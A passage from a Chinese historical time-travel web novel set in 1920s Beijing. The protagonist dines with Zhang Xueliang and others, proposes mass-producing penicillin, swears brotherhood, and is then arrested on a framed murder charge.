“修合啊,这既是我的朋友,也是我的老师,郭松龄郭茂宸。”
白敬业拱手抱拳淡淡的说道,“郭军
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长好。”
他那淡淡的语气,完全没刚才和张汉卿和冯庸之间的热情劲。
郭茂宸点点头,笑道,“大名鼎鼎的白修合果然是一表人才啊。”
平心而论,白敬业不喜欢这个人。
他年轻时候在四川新军,外出到东北完婚被抓起来要判**,还是张大帅给他保了下来。
他是战功赫赫的战将,东北王的原意也是把他留给少帅提拔。
结果呢,一己私利反奉,活活憋死奉军老好人姜登选,反奉一战造成东北军元气大伤。
总结来说,这个人不值得深交,救命之恩你都反咬一口,而且丝毫不顾及自己和少帅之间的情谊。
你要真觉得道不同,你可以自己走啊,哪怕带几个人一起走,去南方去哪别人都管不着。
可是他非得做最极端的做法,而且做的事情还蠢,找的盟友还是个倒戈专家。
一开战的时候冯倒戈就按兵不动,狠捅了他一刀。
众人落座后。
张汉卿开口打趣道,“修合,我都打听了,你是这福聚德的常客。今晚咱们吃什么,你看给安排安排?”
“哈哈”
白敬业一笑,“要说这福聚德一是菜好,用的都是真东西,二呢,就是人好。”
他往旁边一招呼,“常头!咱们少帅要考考我,今晚你怎么安排?可不能让我丢了人。”
他这一出就跟纨绔子弟似的,丝毫没有北大演讲时的那种光辉形象。
冯庸在旁嗑着瓜子,眯起眼睛直乐,他心想这个白修合还真有点意思。
常贵一听这是少帅?!
心里直翻腾,但面上依旧是这份风轻云淡。
北平最出名的堂头,这份养气的功夫还是有的。
他拱手作了一圈揖,笑道,“各位爷能来姆们小店,是小店的荣幸,您看看我这么安排成不成…”
常贵思考片刻后唱出菜名,“今天是四位爷,咱们小碟大盘十六菜,讲究个四季兴旺!”
“拌鸭掌七寸、七寸糟鸭片
炸瓜枣七寸、七寸糟溜鱼片
烩什锦丁中碗、中碗烩四喜大扁
黄焖翅子一斤、葱烧海参一斤、干烧活鳜鱼两尾外加一大盘香酥鸡,这叫吉庆有余!
……
进门的点心、压桌碟
最后两只烧鸭子,配上解腻的葱丝、清口的山楂黄瓜条。
老虎酱外加一碟沾鸭皮的绵白糖!”
“好!”
这套活计使完,众人都鼓掌叫好。
张汉卿拍的最响,冲着徐承业一努嘴,“好活,赏!”
活爹们该看就看别养书,下月1号开始。每日固定三张,不定时爆更。
第48章 济世之才
徐承业从兜里掏出十多块大洋来,塞到常贵的手中。
这还是单独赏给常贵的,赏给饭庄的另算。
少帅嘛,出手就是俩字——阔绰!
要说他和白敬业有些地方还真是挺一样的。
一样的败家。
不败家那不浪费爹妈赚钱的才华么。
常贵领了钱下去,正要把赏钱交给柜上。
卢孟实一把给他拽到一边,“常头,楼上这几位爷都什么来头?”
常贵左右看看,往上指了指压低声音,“张少帅!”
卢孟实瞪大了眼睛,一脸不可置信,随即吩咐道,“一定要伺候好喽!这样,一楼的这几桌客人走了以后,立马关门上幌!”
“今晚上福聚德不接客!”
“是了,掌柜的”
酒菜摆下后,四人推杯换盏喝了起来。
食至中巡时,张汉卿开始谈起药品的事。
“修合,你送我的药还有么?效果非常好,我们三军团的几个军官用完已经转危为安了。”
“唉”
白敬业叹了口气放下酒杯,“不瞒你汉卿,我送你的已经是我手中一半的份量。”
“这药的效果好,但制作极其困难,说句过于狂点的话,这世界上目前来说,只有我自己会做。”
“可我一人的力量毕竟有限,所以找你的目的,也是为了把此药量产。”
张汉卿听完一脸的正色,点点头,“修合你说,做这药都需要什么,只要我张汉卿有的你尽管开口。”
他说的话可不是虚的,这人最大的优点就是仗义疏财。
当然了想仗义兜里也得有银子。
凡是有求到少帅这的,只要是他认可的事立马支持。
就拿华夏奥运第一人刘长春来说,他想为国参赛谁管他了?
不还是人家少帅资助了一万大洋,才漂洋过海的参加奥运。
更何况这次的药品,那是实打实能降低奉军的伤亡,他能不尽心么?
冯庸见状也接茬道,“汉卿说的对,修合你有什么难处尽管说,汉卿不行还有我呢,我们老冯家有的是银子。”
白敬业思考了一会儿,“想要实现药品的量产有两点,一是设备、二是人才。”
“人员相对来说好解决,我可以从百草厅抽调一批伙计,再从医学院招些学生和老师,这点我来办。”
“但这设备就难了,大型发酵罐、冷却器、离心机…,十多种工业设备都得从美国订。”
“置办两条生产线,我看至少需要这个数。”
白敬业说完伸出一巴掌。
冯庸点了点头,“五万大洋?那也不多啊。”
“呵呵”白敬业给冯庸夹了条海参,“后边加个零。”
“五十万!”
冯庸惊呼一声看了眼张汉卿。
张汉卿也是皱起眉头深思。
五十万不是个小数目,他贿赂**,让其倒戈总共也就花了五十万。
白敬业其实说的数是个虚数,按照他之前的预算,三十五万足矣,说出五十万也是想看看张汉卿的决心。
张汉卿自饮了一盅,语气坚决道,“五十万的数不小,但就是一百万这事也得干!”
“这样!等我回天津拢一拢手里的钱,两条生产线不行,要干咱们就上四条!买设备的事交给我。”
白敬业听完心里暗自佩服,小张在这时候是真有魄力。
也难怪,这时候的他正意气风发,没遇到挫折啥都敢干。
等到中东路结束,那就彻底完犊子喽,简直是民国袁绍,做大事而惜身。
要不是西安事变强行挽尊,他能被钉在历史的耻辱柱上。
他选择张汉卿的原因,也是想试试能不能通过自己来影响他。
九一八是国人永远的痛!
白敬业端起酒杯,“汉卿兄的魄力白某佩服!我敬你一杯。”
双方干了以后,白敬业笑道。
“汉卿,这药虽然投入的大,但你想想一旦量产后,他背后的利润以及能提高奉军整体实力,可不是一百万能估量的。”
张汉卿听出他话里有话,忙问道,“还请修合细说。”
“如今距离萨拉热窝引发的世界大战已经过去了六年多,各国在这次大战中其实都没有太好的治疗药物。”
“和平时期其实就是备战的时期,如果这时候出现一款高效药品,你想想会不会引起各国的疯抢?”
张汉卿三人都下意识的点了点头。
白敬业话锋一转,“可咱们都知道,这些列强都是什么德行,看到好东西就想要,得不到的就抢!”
“在国内有你的势力庇护,这药还能拿出来,可是一旦这些列强瞄上了,我们怎么办?”
“远的不说,如今小鬼子在东北就如同附骨之蛆,一旦他们知道你手中有这么好的药,想对其下手,你又当如何?”
张汉卿眉头紧锁,一时间答不上来。
“呵呵”
郭松龄淡淡一笑,“修合先生既然能提出来,想必心里是有想法了,不妨明说。”
白敬业用手指沾了点酒在桌上写了四个字。
“远交近攻!”
“汉卿,如今的华夏是军阀林立,谁的后边都有国外支持者,两害相交取其轻。”
“要挑出谁是对我们能拉拢的,谁是我们必须要消灭的。”
“例如英美法等国,虽然也对我们国家包藏祸心,但毕竟他们鞭长莫及。”
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“我们可以借着此药,积极的和其他国家合作,换取军事、工业、经济等一系列的支持。”
“例如冶金、机械工业等最基础的工业建设,虽然这么对换我们会吃亏,但谁让我们的基础薄弱呢,落后就一定会挨打!”
“我们借此机会,将整个华北一起发展起来。”
“拉拢一批、打压一批。对于鬼子,我们想想办法狠宰他们一通,买不起就别怪我们了。”
“假以时日,我们的工业基础完善、我们的兵强马壮,时机成熟一举将鬼子推到海里去!”
“好!”
冯庸听完激动的拍起了桌子,“就冲修合你的这番话,药厂的事我一定跟着掺乎掺乎!”
倒不是白敬业大方,他也没那个济世救人的心,愿意把青霉素拿出来跟全世界分享。
而是没办法,国力太弱了,你连生产的设备都需要进口,想要守住天方夜谭。
就算没人来抢,这些大国得到药之后,给你来个逆向工程,没几年人家也能量产。
到时候价格一挤兑你,你手里的和废品没区别。
既然守不住,那就把它放开!
拿出来换需要的东西,趁这段真空期,用青霉素掘取更大的利益。
1935年之前,华夏的重工业几乎为零,一年冶炼出的钢铁都没有5万吨。
洋务运动置办的那点,也都让慈禧老娘们给赔款赔没了。
哪怕用青霉素换取一套完整的冶金技术,那对现在的华夏来说也是值得的。
还有另外一个原因,就是白敬业自己那点小心思。
他并不是很信任张汉卿这个人,因为历史无数的事件证明,他这个人太软了。遇事犹豫,上头了什么都干,却收不了尾。
白敬业准备借着张汉卿的跳板,和这几个大国打通关系。
越南目前还在高卢鸡的手里,值得他谋划一番。
张汉卿同样也很激动,这番话仿佛让他云开见月。
不仅是为东北军得到好药的高兴,也为了以后的前景而激动。
“没想到,真没想到!我还是小看你白修合了,能说出这番话分明是济世之才,为修合大才,我连干三杯!”
他说完连干三杯,此时桌上的气氛比刚刚更热闹。
张汉卿现在看白敬业的眼神,就好像老**看到花魁似的。
浑身上下哪都痒痒,心里打着主意,怎么才能把他拉到东北军自己身边来。
“咚咚”
在外守着的徐承业敲门后走了进来,“少帅,鸭子好了,堂头问要不要现在上。”
“上!”
常头得到信儿后吆喝一声,“楼上撤荤盘子、上手巾板!走鸭子喽!”
第49章 五败论
现在的人都觉得去什么轮胎店几星几星的高级。
其实也没吃过什么正经东西,以前的席面讲究,吃一看二眼观三。
吃一顿上好的席面,酒喝到什么程度上什么菜。
给你上壶茶,外边留一壶一模一样的测水温,外边的温度下来,立马进去换水,这才叫服务!
常贵指挥着伙计们往上走鸭子。
两个师傅拿着刀上下翻飞,把鸭子片在盘中码成牡丹花的形状。
“各位爷您上眼,我们福聚德的鸭子讲究切片,是一百零八刀的丁香片,上合三十六天罡、七十二地煞。”
“剩下的鸭架子,熬上白菜一出海,叫做原汤化原食,大吉大利!”
“赏!”
这次是冯庸看赏,吃一顿饭赏三回,这叫连中三元!
酒过三巡,众人都喝了不少,脸上都红扑扑的。
“嗝!”
郭松龄打了个酒嗝,将军装的扣子解开了一颗。
“修合先生,来之前汉卿跟我说,你通过奉票赚得盆满钵满,说你是精通时局的大才,我还有些不信。”
“可今日一见名不虚传,郭某还有一事想领教,不知当不当讲。”
白敬业在脑子里过了一遍。
心想肯定是大昌银号的老乔说的,这张逼嘴怎么跟棉裤腰似的,说松就松。
“哎~郭军长言重了,白某算什么大才,充其量是个写二流小说的作家。”
白敬业话里话外的意思,不想跟他探讨什么时局。
可郭松龄依旧跟没听懂似的问道,“修合先生,你对南边的黄埔军校怎么看?”
“现在盛传,这座军校将来的目的是北伐,一路打到海参崴,你对他的前景如何看待?”
“哗…”
白敬业不语,拿着酒壶给自己斟的满满一杯。
“郭军长这是为难白某啊,这话里的意思,是想问白某,奉军与黄埔将来对上谁输谁赢?”
“哈哈哈,修合快人快语,痛快!”
张汉卿抚掌大笑,“修合啊,畅所欲言!今天不是在司令部开会,单纯是咱们好友之间闲聊!”
白敬业点了点头,而后看向郭松龄,“郭军长,敢问你的三军团论作战能在奉系排到什么位置?”
“要是论作战,奉军里比得上三、五两个军团…呵呵”
郭松龄的言语中带着傲气,但也不怪人家骄傲,属实能打。
“那么三、五两个军团的作战能力是怎么形成的呢?”
白敬业问完一饮而尽,“据我的了解,是直奉一次大战后,汉卿任管辖奉军整理处,革旧除弊将老式军阀作风一扫而尽,采用新式战法,再加上先进的武器。”
“我说的对么?”
郭松龄点点头。
“人们都说奉系里有两派,一派是新、一派是旧,你们知道旧是打不过新的。”
白敬业脸上带着笑意问道,“如今对于黄埔来说,他们是新、你们是旧,谁能打得过谁呢?”
桌上的三人脸色都剧变。
张汉卿皱着眉头问道,“修合此言差矣,我在训练三军团的时候,采用的都是陆军最先进的战术,怎么变成旧了?”
白敬业不慌不忙,点了点自己的太阳穴。
“旧的不是战术而是思想!”
“北洋政府这块牌子太老了,老到让百姓都把他和满清划为等号。”
“从老袁称帝开始,北洋这块牌子就臭不可闻。”
“在老百姓眼里无论是吴秀才、段老虎还是虎踞关外的东北王,他们掌权就是为了换衣服。”
“失了民心这是其败一也。”
此时的白敬业完美的发挥了演技。
男人三分醉,演到你流泪!
他准备假借酒意模仿郭嘉,给小张来上个几胜几败论。
民国这段历史他多熟啊。
更何况后世某论坛上那么多大聪明阐述看法,随便扔几条就够忽悠的了。
“现如今,各校的学生对北洋意见颇大,更有许多人专门从北方跑到黄埔参军。”
“学生是什么?是一个国家未来发展的基石,不得其才乃败二也。”
“再有大先生的思想,联E、联G,化解双方矛盾,共同抗击北洋政府,人心难敌其败三也。”
“自古南方多富于北方,有着江浙财团的支持,光靠东北一地拿什么支撑?其败四也。”
此时的东北由于二十一条,所有的矿产都被鬼子霸占。
老张家虽有兵工厂,但是造出来的东西…呵呵,比买的贵两倍。
“若黄埔北伐,必先对最弱的陈炯明下手,之后一路高歌猛进,东北军实力是强,可面对一路得胜的大军,未战先输势。”
“诸位觉得黄埔与东北军孰强孰弱?”
这倒不是白敬业瞎JB吹,历史上的黄埔北伐,25年开始干掉陈炯明。
带兵的就是后期被称为猪将军的刘峙。
别看他后期不行,北伐这五年给从南到北的北洋军阀一路串了糖葫芦。
最后吓得东北王从北京返回东北,路上才有的皇姑屯一声巨响。
众人皆沉默不语,最后张汉卿无奈的苦笑了一声。
“修合,你这番话不亚于给我张汉卿当头一棒。”
“哈哈哈,酒后戏言,汉卿兄勿要当真。”
“还请修合教我,我东北军未来之出路在哪?”
白修合端起
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杯酒摇了摇头,“出路?汉卿你想要的出路是什么?也是惦记着那身衣服?”
“当然不是!”
张汉卿义正辞严的说道,“我张学良从军是为了保境安民,而且我对大先生的理想也颇为赞同。”
“国家统一也是我之愿望…”
“那你顾虑什么?”
白敬业打断了他的话,“无非就是东北军内部那点烂事嘛,就和我家里一样,总有意见不同的人。”
“汉卿你要记住,东北的忧患不在关内,而在外!”
他端起酒杯远眺北方,三人都被他骤变的气势所吸引。
“东北王成事之前,鬼子已然进驻到东北,苏联更是紧盯着**不放。”
“苏联的前统领,曾说过在他们成功之后,会把海参崴等地还给我们。可是现在又换了一种说法,苏联没有一寸多余土地。”
“**没有朋友,只有利益!东北如今就像卡在两把刀之间的一块肉,随时有被切的风险。”
说完白敬业紧盯着张汉卿,“你要做的就是壮大你手中的军队,世界已经变了,不再是国家内部的战争。”
“把握兵权、静观其变。对内发展民生经济,对外虎视眈眈的强敌寸土不让!”
“时机一到,促进国家统一,你张汉卿的名字必会留名青史!”
白敬业再度端起酒杯一饮而尽,“我们这个民族只要一统,必然会再次雄立于世界。”
“我相信沉睡只是暂时的!五千年前,我们和埃及人一样抵抗着洪水。”
“四千年前,我们和巴比伦人一样把玩青铜器。”
“三千年前,我们和古印度人一样抵抗雅利安的侵略。”
“两千年前,我们和古罗马人一样到处征战。”
“一千年前,我们雄于世界、万邦来朝!”
“现如今我们的国度沉睡了,世界的牌桌换了一批又一批的人。”
“但是我相信!当我们再次醒来,美英苏德日,这些企图掀翻牌桌的国家,会再次老老实实的等着我们出牌!”
坐在门外守卫的徐承业托着下巴,看向郭松龄的卫队长朱传武。
“传武,你说白先生这脑子是怎么长的,咱们怎么就想不出这些话呢?”
朱传武呵呵一笑,“咱们要是能想到,就不是坐在这,而是坐里面了。”
“但是白先生这话说的真好,俺们华夏人就应该是最好的!”
他的眼睛里闪烁着憧憬的光芒。
大佬、义父、活爹们,今天是月末最后一天,明天开始每天三章固定八点发。
要是没发就是被审核了,大家多多支持,免费的礼物和催更,爱你们呦!
第50章 义结金兰
徐承业和朱传武这俩卫队头子闲聊着,就听见里面传来‘啪啪’拍桌子的声音。
“啪!”
郭松龄使劲的拍了下桌子,“好!说的好!你白修合这番话说的是万丈豪情!”
他拿起酒杯想自饮,又嫌弃的放下杯,扭头看向张汉卿。
“汉卿!如此的豪言壮语,喝这黄酒太过寡淡。”
“哈哈哈哈”
张汉卿放声大笑,“难得茂宸你这么高兴,徐承业!”
“到!”
“去找掌柜的,给我上最烈的烧酒!”
四人面前都摆上大碗,倒上满满登登的烧酒。
“干!”
烈酒入口一线喉,点燃胸中一团火!
冯庸放下酒碗擦了擦嘴,醉醺醺的说道,“修合,我老冯看的上人没几个,你修合算一个,不你得算两个!”
“正好,今天有郭教官的见证下,咱三结拜,你们看怎么样?”
“好!”
张汉卿大喊了一声,“你冯老五的话说我心坎里去了,茂宸你做个见证,咱们仨今天义结金兰!”
民国时期结拜风气盛行,结拜磕头是常有的事。
拿日记家来说,结拜的把兄弟十五六个。
他在后边捅过刀子的就得有一半以上,当然捅过他的也不在少数。
所以也别把这件事看的那么神圣,就是几个人喝大了,来了兴致就想拜把兄弟,拉近彼此的关系。
白敬业一听这个提议,也表示赞同,毕竟人家两个汉卿都给面子,自己装什么清高。
而且这个时间段正是奉系辉煌时期,无论从哪方面讲,自己都没有拒绝的理由。
徐承业和朱传武找来供桌、香烛,还有必备的金兰谱。
北平的大饭庄都会预备这些东西,为的就是防止客人喝上听了,想拜把子没有东西。
三人跪成一排,在郭松龄的见证下,齐声喊道。
“今日,我三人结为异姓兄弟,安危他日终须仗,甘苦来时要共尝。”
“安危同仗、甘苦同尝,情比同袍、生死系之。”
三人互相交换了金兰谱,这关系就比刚才近的多了。
又喝了一会儿,郭松龄提出要回司令部,三人再三挽留,可架不住他执意要求。
没办法,众人只能结账下楼。
徐承业拿着二百大洋的银票放到柜台,低声道,“掌柜的,今天我们少帅来的事,你要记得保密。”
卢孟实连连鞠躬,“一定一定,我们小店欢迎少帅再次莅临。”
白敬业三人站在饭庄的台阶上,目送着郭松龄离开。
张汉卿扭头看向他,“修合,我看你好像对老郭不太感冒,好像有点疏远感。”
白敬业淡淡一笑,“你眼睛还真毒,疏远谈不上,郭军长这人为师、为同僚皆可,唯独做不了朋友。”
“哦?”
冯庸来了兴许,笑呵呵的问道,“这是为什么?”
白敬业脸上带着坏坏的笑容,“什么是朋友,臭味相投才是。”
“哈哈哈!”
两人都大笑起来。
“有趣!修合说的对,汉卿你自己想,咱们身边这哥几个,毓麟、廷枢哪个见了他郭教官不怵头。”
张汉卿左想右想冯老五的话,想反驳,好像确实没什么点。
就在两个多月前,郭松龄还给他来了一出带兵出走,这让他很是恼火。
他只能嘎巴嘎巴嘴,“茂宸他…”
冯庸一摆手打断了他,“得得得,你和郭教官是你们的事。”
他说着揽住白敬业的肩膀,“老三,这场没喝尽兴,下一场八大胡同百花楼我冯老五来,都别跟我争!你今晚得给我好好说说这射雕后边的事儿。”
白敬业假意道,“百花楼?这不好吧?”
张汉卿一拳捶在白敬业的肩膀,“你小子跟我装什么犊子呢,别以为我不知道,你都快住百花楼了。”
“哈哈哈,汉卿说的对,你小子之前还特么造过假药呢,你爹烧的时候我都瞧见了,上车上车。”
三人闹哄哄的上了张汉卿的小汽车,一路开向百花楼。
杂**老大看着走得离了歪斜的这三位,下巴都快掉地上了。
抛除白敬业,那两位也都认识。
二次直奉大战刚结束,张汉卿还来过一回,包了整个八大胡同。
风月场没有不认识他们仨的。
“我…您…您三位…”,他不明白这三位爷怎么凑一块去了。
冯老五一把拍在他的头上,“磕巴什么呢?不认识爷了?让里边把最大的包间打开!”
“哎!”
杂**老大答应一声,撒腿就往里跑。
等这三酒懵子刚进百花楼,珍姐姐就带着一群姑娘迎了出来。
她不动声色的搀住白敬业,笑道,“您三位怎么凑一块去了,爷,今晚咱们什么安排。”
看着珍姐姐那卡姿兰大眼睛,白敬业‘刷’的一下酒醒了。
预感到后腰又要隐隐作痛,心想,“早知道换个地方,这特么今晚又完犊
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子了。”
“珍儿,今晚我老冯请客,最顶上那层我包了!”
珍姐姐笑的满面桃花,“冯爷,您擎好吧,姑娘们都伺候着。”
“哈哈”
一群穿着旗袍,开叉开到咯吱窝的莺莺燕燕们围了上来。
扶着几人上了百花楼。
这一宿风声雨声嬉笑声,声声入耳。
百花之中尽显三个青年的恣意。
直到第二天日上三竿,白敬业才忽忽悠悠的醒了过来。
珍姐姐端着杯茶,眼角尽是风情的笑道,“醒了?喝杯茶醒醒酒。”
“咕嘟咕嘟”
一杯温茶下肚,白敬业仿佛又重新活了过来。
他靠着床头调笑道,“我说珍儿,这我以后来百花楼是连别的姑娘的边都沾不上了呗,你也太霸道了?”
珍姐姐紧攥粉拳,捶在他胸口,“呸!你们男人没一个好东西,吃着碗里的看着锅里的。”
“哈哈哈,我那俩兄弟醒了么?”
“早醒了,正吃早饭呢”她往白敬业身边靠了靠,满眼期待,“你怎么和这两位财神爷凑到一起了?”
白敬业掐了掐她的脸蛋,“保密!你呀,就等着往兜里揣银子吧。”
“死样!”
白敬业跟这两位结**汇合后,三人简单吃了些东西,就回到奉军的办事处。
由于下午两人要返回天津,所以只是简单的谈了谈创办药厂的事。
定好过几日,白敬业上天津带上详细的规划书,再详谈股份、设备等细节。
等在车站送走了两人,已经是下午两点多,白敬业拖着疲惫的身躯回了白家。
到了家里倒头就睡,太累了,珍姐姐的腰那是**的刀。
一直睡到深夜才恢复过来。
他摸着黑将煤油灯点起来,拿出之前写了不少的专利材料。
白敬业准备趁着今晚将几份专利补全。
张汉卿有国外的资源,他决定趁机将几份青霉素源头专利,在欧洲、老美都给他注册了!
这玩意有时候没用,但必须得有,白敬业多不要脸啊,他没有弗莱明的风格拿来造福全世界。
他看着封皮上的盘尼西林,心想,“我弄出来的再用外国名字不好,改了!”
白敬业提笔这下几个字,“青霉溶菌碧落芬!”
他满意的点了点头,这名多好,能体现药物组成和功效。
里面还包含道教中的用语碧落,形容天赐之物。
雅!
关键还特么长!
第51章 吊儿郎当入狱
经过两天,白敬业终于将青霉溶菌碧落芬的专利材料整理好。
一份中文、一份英文。
里面还包括后续工业纯化的材料,他是一丁点都没放过。
无论是谁想在青霉素上做文章,都绕不开他的专利。
那问题来了,注册专利不会被人抄袭么?
当然不会,专利上并不是要把所有的过程都写上,例如提纯过程中,所需要添加的试剂,只写某一种就可以。
再有一点,你不注册人家得到药该仿制一样仿制。
你不先下手,这东西就成人家的了,到时候你就是假药。
“咚咚,少爷,太太请您过去一趟。”
听见小木棉的声音,白敬业不由得苦笑。
这两天他这亲妈黄春像魔怔了似的,一天最少找他三回。
每次问的还都差不多,都是关于大格格她们到了后如何安置。
要不就问怎么还没到,也就是现如今通讯不发达。
不然白敬业都恨不得给列车长打电话,问问他火车能不能提提速,太愁人了。
白敬业是两步变三步,一步一步往正房挪。
正走到房门口,就听见里边白景琦的抱怨声。
“哎呦!我说咱消停点成不成!您都快魔怔了,不就是大格格来了,我拿她亲妈供起来还不成么?”
“呜呜呜~你就是嫌弃我妈~,嫌弃我是私生的。”
白敬业在外边听的直乐,没想到黄春还有这一面。
这女人要是不讲理起来,是不分年龄、不分性格的。
“咳咳”
他在外边轻咳两声,一挑帘进到门里,“呦~您二位这是吵吵什么呢?”
白景琦见他进来,好像看到了救星,他一指黄春,“你说你妈她讲不讲理…”
原来,白景琦提议给大格格在宅门附近买个小四合院。
黄春觉得白景琦对这事不重视。
白景琦又说不行就接到身边,在宅门里住。
黄春又觉得母亲以前好歹是格格,不能寄人篱下。
总结起来就三个字——更年期。
白敬业咂摸咂摸嘴,“嗨!多大事儿啊,我还以为你们俩吵着给我添个弟弟呢。”
“滚一边去,我特么都多大岁数了,我给你添弟弟…”
白景琦边骂边偷偷看了黄春一眼。
“这事儿简单”
白敬业翘着二郎腿往椅子上一坐,“我在西三条胡同有个二进的小院,反正我也不常住。”
“等姥姥来了在宅门里住几天,再往那一安排,齐活!算我这做外孙子的孝敬怹老人家的。”
黄春一听破涕为笑,“这样也好,西三条离着也近,还方便我去照顾。”
“啧,这不跟我说买个新院子一样嘛!”
黄春的眼睛瞪了起来,“哪一样!这是敬业孝敬……”
“得得得,不一样不一样!”白景琦赶紧摆手不敢招她。
“七老爷!少爷!”
小胡在院子里边跑边喊,直到气喘吁吁的进了屋子。
“七老爷!少爷…大事不好了!”
“你把气喘匀了慢慢说”
“少爷!来了一伙警察,说是找你调查一桩案子!”
白敬业一皱眉,“什么案子?人在哪呢?”
“人在正厅呢。”
白敬业和白景琦对视了一眼,起身就往正厅去。
小胡在后边拉了一把白敬业,趴在他耳边,压低了声音,“杨亦增!”
“呵”
白敬业眯起眼睛冷笑了一声。
正厅外,四个黑皮背着**,气势汹汹的往那一站。
里面王喜光正应付着来抓人的李队长。
李队长见白景琦父子二人进来,连忙站了起来拱手抱拳。
“七老爷、大少爷,真对不住,我这也是奉命而来。”
白景琦护在白敬业身前忙问道,“李队长什么事啊大张旗鼓的”
“呵呵,白少爷,黄庄小菜园外,杨亦增和他那外宅的尸首都在我们那呢。”
“杨亦增的媳妇说是您杀的,我们得带您走一趟。”
白景琦一听愣在原地,猛的回头看向白敬业,一句话都说不出来。
白敬业呵呵一笑,“李队长,您和我们家也没少来往,直说吧后边人是谁,冲钱来的、还是冲什么来的。”
“白少爷您是明白人。”
李队长上前走了两步,“关家。”
白敬业瞬间秒懂,这是奔着敲白家一笔来的。
他之前就听说了,关静山使了不少银子才把自己弄到皖系,这是准备狮子大开口了。
“敬…业,真是你杀的么?”白景琦的声音都有些颤抖。
“我说爸贝,是与不是现在说他还有什么用,没多大事,我跟他们走吧。”
说完他转身准备跟着李队长走。
白景琦一把拽住李队长的胳膊,眼神中少见的带了些哀求。
“七老爷您放心,我都懂,四老爷在监狱那边等着呢,少爷不会受委屈。”
“这事是我们厅长吩咐的,四老爷怎么跟他说也不开面,您得抓紧和四老爷商量。”
“哎”
白敬业点起根烟,大摇大摆的往外走着。
刚走没几步,张增致哭着跪扑在他们面前。
“人…是我杀的,要抓就
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抓我,别带走我们少爷!”
白敬业皱起眉头,“起来!”
一脚给他蹬翻,随后一把给他拽了起来。
“拿特么少爷我说的话当放屁了是么!”
“少爷…呜呜…”
白敬业拍拍他的肩膀,扭头看向小胡,“小胡,一会儿你跟增致去趟济丰楼,让曾头儿给我掂对几个好菜!”
“给少爷我送大狱里面去,对了,再从家里带坛子三十年的绍兴黄!”
“是,少爷,我一准儿办”,小胡明白这是少爷有事情要交代他。
李队长想了想,凑到白敬业身边,“白少爷,要是有人顶了案子,我就不用…”
“哈哈”
白敬业哈哈一笑,“人家冲的是我,是白家,你抓别人回去交的了差么,走吧!”
“苏三~离了洪洞县,将身来在~”
“嘿,大少爷您唱的还真味儿啊”
白敬业甩了甩头。“不成,这出儿,还得看人家万老板的,等少爷我出来,好好请请你们哥几个。”
“得!我这先谢谢大少爷。”
等出了宅门,白敬业一瞧,关静山带着手下人,笑眯眯的就在街对面站着。
白敬业迈步上前,笑呵呵道,“关长官,这是哪阵风给您吹到我们宅门门口闻味来了,我们门口可没有屎,没您那口吃的?”
“呵呵呵,修合先生,都成了阶下囚,嘴还是这么硬。”
他盯着白敬业手里的烟卷皱起眉头,看向后边那群黑皮,“现在犯人都能大摇大摆的抽烟?你们就是这么办案的?”
白敬业扬了扬手里的烟,“是不太好。”
说完扔下烟头,用脚拧了两下熄灭。
又从兜里掏出烟盒,拿起一根新的。
“叮!”芝宝火机的声音响起。
白敬业深吸了一口,神色嚣张的将烟气吐在关静山的脸上。
“你…!”
“**,信不信毙了你。”
旁边的手下掏出枪顶在白敬业的头上。
白敬业冷笑道,“我他妈还真就不信!孙子,你今天要是不开枪,**都是**养的。”
“甭拿你那烧火棍,你拿JB吓唬寡妇去,爷不吃你那一套!”
“干什么干什么!”
李队长见状也掏出枪,顶在对方头上,“把枪放下,这是我们重要人犯。”
“哎~”
关静山压低手下的枪口,笑道,“白少爷,您豪横,我倒要看看您能横到什么时候。”
“五天!”
白敬业伸出一巴掌,“关静山,五天内,我要不让你跪在我脚下叫爷爷,我白字就倒着写!”
第53章 今日割五城,明日割十城
小胡累的直喘小跑着进了屋。
这一晚上可给他忙坏了,白敬业躺在监狱里养大爷。
他是东跑西颠的忙活。
白景琦看他口干舌燥忙招呼,“坐,莲心给他倒杯茶。”
“咕嘟嘟”
小胡接过来一饮而尽,擦擦嘴缓了缓才说道,“七老爷,少爷那一切都好。”
“他让我给家里带个信,一分钱都不要给关静山。”
“这件事要闹!而且要往大了闹!少爷说契机已经出现了。”
其他人都满头雾水,唯独白景琦明白这个契机是什么意思。
前几天白敬业刚说过停业的事,他皱起眉头思考着这件事的后果。
大老爷白景怡疑惑道,“闹?怎么个闹法?”
“少爷说,让家里这边联合所有药行同仁,等他的信号一到就关门上板,让整个北平一包药也放不出去。”
“借此机会重新和执政府谈判,就谈军饷的事,只要逼的执政府给关静山弄下去,这件事不攻自破。”
“而且还要告他关静山敲诈勒索、栽赃陷害!”
众人听完头皮都发麻,全北平的药行集体停业,这是多大的事。
老百姓没地方买药,那不得翻了天。
二老爷白景双面露难色,他这人有点软弱,“这事要是闹大了,执政府会不会对我们…”
“二老爷,少爷还让我带句话。”
小胡尽量模仿着白敬业的语气,“少爷说,苏洵的六国论里有这么一句话。”
“今日割五城,明日割十城,得一夕安寝。起视四境,而秦兵又至矣!”
白景琦听完‘腾’的站了起来。
咬着牙在地上来回踱步。
白七爷眼睛都立了起来,“昨天五十万,今天七十万,往后呢!来个人就八百十万。”
“还他妈抓了我儿子!”
“闹!就他妈往大了闹!”
“白家走到今天有多难,咱们现在是药行魁首就得担起这个责任来。”
大老爷一拍桌子,‘啪!’
“闹!就听敬业的,不闹一回咱们永远是这帮军阀的提款机,有多少钱都不够填这个窟窿的。”
这俩主事的一拍板,其他人都跟着支持。
大老爷心思缜密,补充道,“老七,我看光咱们几个召集药行可能分量不够,这事儿得让二婶出面。”
白景琦点了点头,“好,天一亮咱们就去我妈那。”
这时小胡看向白景泗,“四老爷,少爷让我告诉您。”
“明天一早,会有各个报社的记者到监狱里采访这件事,让您一定要放这些记者进去。”
白景泗点点头,“我明白,今儿晚上我就住在北平监狱,这事交给我!”
白家二代的心是真齐,定好调子统一了方向,都下去忙活自己该干的事。
白景琦独自坐在正厅里百感交集,主要是担心白敬业。
二儿子当兵去了黄埔,如今身边就剩下白敬业。
他下定决心就算捅破天也不能让儿子出事。
别看白景琦之前对他冷言冷语,那是因为白敬业不争气。
到头来,爹还是爹、儿子还是儿子。
他就这么坐着一直坐到了天亮。
监狱里
白敬业觉得时间差不多了,冲外边喊道,“哥几个,进来一个。”
“白少爷,什么事。”
“给我换一个最脏、最差的牢房。”
“啊?”
白敬业跟着狱警来到准备好的牢房。
刚一开门还没进去,一股臭味就直冲鼻子。
“哕!”
白敬业干呕了两下,“这也太特么味了,谁特么拉里面了!”
两个狱警都捂着嘴偷笑。
白敬业进去,挑了个稍微干净点的地方一坐,就开始干活。
给自己外套全脱了,就留个衬衫,然后撕的一条一条的。
